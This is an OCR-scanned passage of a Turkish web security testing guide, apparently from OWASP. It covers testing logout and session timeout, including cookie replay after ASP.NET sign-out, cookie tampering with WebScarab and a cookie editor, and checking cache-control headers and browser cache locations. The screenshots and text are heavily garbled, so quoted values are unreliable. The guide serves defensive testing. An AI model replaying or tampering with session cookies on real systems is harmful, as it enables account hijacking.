cept-Charset: ISO-8859-15,uf-89=0.7,% q=0.7
Keep-Alive: 200
Connection: keep-alive

KN
=

[{]

Parsed | Raw |
HTTP/1.1 200 OK
erver: Microsoft-11S5 .0
Date: Tue, 31 Oct 2006 15:10:32 GMT
Connection: close|
he-Cowote/1 1

et-iCookie: nsl=BAQAAADGRXZK fada AKX dmUknymbw™*; Daomain=wictim.com; Expires=wWed, 31-0ct-2007 15:10:33 GMT; Path=/
et-Cookie: secure _ticket=dXMNicmlkMnCSUSTRY czUTEBEQI]sek|ncSE*f, Dume&n: wictirn. com; Path=" Secure

Bl

acne-Lontrol private

[4]

[v]

K.

| Retease atlintercepts | canceleaits | Accentedits | Avort request | 3
— — — - — - ﬂ,.‘

Alternatif olarak Cookie Editor'de yiikleyebiliriz. Mesela Firefox icin N Edit Cookies deneyebilirsiniz:
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R L

Fliter/Refresh |

Cookie Name

sourcelorge.nel utmex
sourcelorge.net utrme =

Mate! The list abowve Is not updated automatically when the Cookle Manager s open.
Information about the selected Cookle
Mame: _utma
Content: 191645736.447133665,1162306923,1162306923,1162306923.1
Domain: .sourceforge net
Path: f

Send For: Any type of connection

Expires: at end of session

Selectlon: Cookde:
Al Add e,
_ Edit Close
________ Invert Delete o

[Bptions|

Dikkate deger 6rnek dizayni ASP.NET FormsAuthentication sinifinda kullaniciya ait ¢erezin sunucu tarafli bir kontrol
olmadigidir. Cerezin temel olarak nerede sifrelendigini ve kullanicinin dogrulama versiyonun ¢ozilGgind, ayrica sunucu
tarafindan kontrol edilip edilmegini gsterir. Bu gerezin kurcalanmasini engellemek icin ¢ok etkilidir, aslinda sunucu, dahili
kayith oturum durumuna bakmaz. Yani yasal kullanici oturum kapattiktan sonra cookie replay (¢erez tekrari) atak
yapilmasini mimkiin kilar. Bu da g¢erezin henliz gegersiz kiinmamasini saglar.

Bu test sadece oturum gerezlerine uygulanmalidir ve devamli (stirekli) cerez sadece kullanici tercihlerine gore saklanmalidir.
Oturum kapandiginda silinmezse glivenlik riski yaratmaz.

Zaman agimi oturum kapanmasi:

Zaman asimi ile oturum kapanmasini bir dnceki bolime benzer yaklasim ile inceliyoruz. Ayarlanan zaman asimi oturum
kapatma glvenlik (kisa oturum kapanma zamani) ve kullanilirlik (uzun oturum kapanma zamani) ile uyumlu olmalidir.
Agirlikh olarak uygulamadaki bilgi yiritllmesinin kritikligine baglidir. Genel forumlarda oturum kapanma suresi 60dk'dir.
Fakat bazi banka uygulamalarinda bu siire daha uzundur. Her uygulama zaman asimini giivenli sekilde yerine getirmez,
sadece adresleme davranisi gibi 6zel fonksiyon gerektirmezlerse. Test metodu bir 8nceki ile ok benzerdir. ilk olarak zaman
asiminin varhgi kontrol edilir, bunuda oturum agip herhangi birseyi okuyarak ve ya zaman 6ldirerek yapabiliriz. Oturum
kapatma butonunda oldugu gibi, zaman asimi tiim oturumlardaki yokedilmesi gereken ya da kullanilamayan belirtileri gecer.
Ayrica zaman asiminin istemci tarafindan mi uygulandigini yoksa sunucu tarafindan mi yoksa ikisi tarafindanda uygulandigini
anlamamiz gerekir. Cerez 6rnegimize geri dénecek olursak, eger oturum gerezi devamli degilse zaman asiminin sunucu
tarafindan yapildigina emin olabiliriz. Eger oturum belirtileri bazen ilgili bilgiler iceriyorsa (oturum zamani, son oturum
zamani, devamli gerezin bitis zamani ..vb) istemci (client) zaman asiminda karisir. Bu durumda belirtileri (kalintilar=token)
modifiye etmemiz gerekir. Tabi eger sifrelenmemisse. Modifiyeden sonra kendi oturumumuzda ne oldugunu gorebiliriz.
Ornegin; cerezin siiresini ileri bir zamana ayarlayabiliriz ve kendi oturumumuzun siiresini uzatabiliriz. Genel kurala gére,
hersey sunucu tarafli kontrol edilmelidir ve oturum gerezinin bir dnceki degere gore yeniden ayarlanmasi, modifiye edilmesi
ve uygulamaya tekrar erismek miimkiin olmamalidir.

Hafizaya alinan sayfalar:
Uygulamadan ¢ikmak tarayici hafizasinda saklanan hassas bilgileri temizlemeyebilir. Bu ylizden, baska bir test uygulanir ve
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uygulamamizin tarayici hafizasindan herhangi kritik bilgi sizdirip sizdirmadigi kontrol edilir. Bunu sirasiyla yapicaz ve ilk
olarak WebScarab kullanicaz ve oturumumuza ait sunucu yanitlarini araticaz. ikinci olarak her sayfa icin hassas bilgiler iceren
sunucu talimatlarini kontrol edicez. HTTP yanit baghklari su sekilde olur:

HTTP/1.1:

Cache-Control: no-cache

HTTP/1.0:

Pragma: no-cache

Expires: <past date or illegal value (e.g.: 0)>

Alternatif olarak, ayni etki HTML seviyesinedede bulunur. Her sayfa asagidaki koddaki gibi hassas bilgiler igerir:

HTTP/1.1:

<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">

HTTP/1.0:

<META HTTP-EQUIV="Pragma" CONTENT="no-cache">

<META HTTP-EQUIV="Expires” CONTENT="”Sat, 01-Jan-2000 00:00:00 GMT”>

Ornegin; eger e-commerce yani elektronik ticaret uygulamasi test edersek kredi karti numarasi, finansal bilgiler iceren tiim
sayfalara bakmaliyiz ve bu sayfalarin hafizaya saklanmadiginin talimatinin verilip verilmedigini kontrol etmeliyiz. Bir baska
deyisle, eger kritik bilgiler iceren bir sayfa bulursak ama tarayicinin igerikleri hafizaya almada basarisiz oldugunu
6grenmemiz bu kritik bilgilerin disk Gzerinde saklandigini gosterir. Bilgilerin esas yerinin nerede saklandigi istemci isletim
sistemine ve kullanilan tarayiciya baghdir. Ornekle gésterecek olursak eger:

e  Mozilla Firefox:
o Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/

o Windows: C:\Documents and Settings\<user_name>\Local Settings\Application
Data\Mozilla\Firefox\Profiles\<profile-id>\Cache>

e Internet Explorer:

o C:\Documents and Settings\<user_name>\Local Settings\Temporary Internet Files>

GRIi KUTU TESTi VE ORNEGI

Grikutu testi (greybox testing) karakutu (blackbox testing) testine benzer. Oturum yoénetimi hakkinda biraz bilgi sahibi
oldugunuzu varsaylyoruz ve oturum kapatma ve zaman asimi fonksiyonlarini anlamaniz igin yardimci olacagini diistinliyoruz.
Genel kural olarak sunlari kontrol ediyoruz:

e  Oturum kapama fonksiyonu etkili sekilde tiim oturum kalintilarini yokeder ya da en azindan kullanilamaz hale
geririr.

e  Sunucu oturum durumu kontroliini gergeklestirir, saldirganin bazi kalintilari yeniden diizenlemesine izin vermez.
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e  Zaman asimi uygulanir ve sunucu tarafindan gerekli sekilde kontrol edilir. Eger sunucu bitis zamanlarini kullanirsa
bu oturum kalintilarini okur ve istemciye génderir. Kalintilar sifrelenmis sekilde korunmalidir.

Guvenli hafiza testi icin, metod karakutu testine esittir. Tipki 2 senaryoda oldugu gibi sunucu yanit basliklarina ve HTML
koduna tam erisimimiz olur.

REFERANSLAR

Dokiimanlar
= ASP.NET Forms Authentication: "Best Practices for Software Developers" -
http://www.foundstone.com/resources/whitepapers/ASPNETFormsAuthentication.pdf
= "The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications" -
http://support.microsoft.com/default.aspx?scid=kb;en-us;900111

Araglar
= Add N Edit Cookies (Firefox estension): https://addons.mozilla.org/firefox/573/
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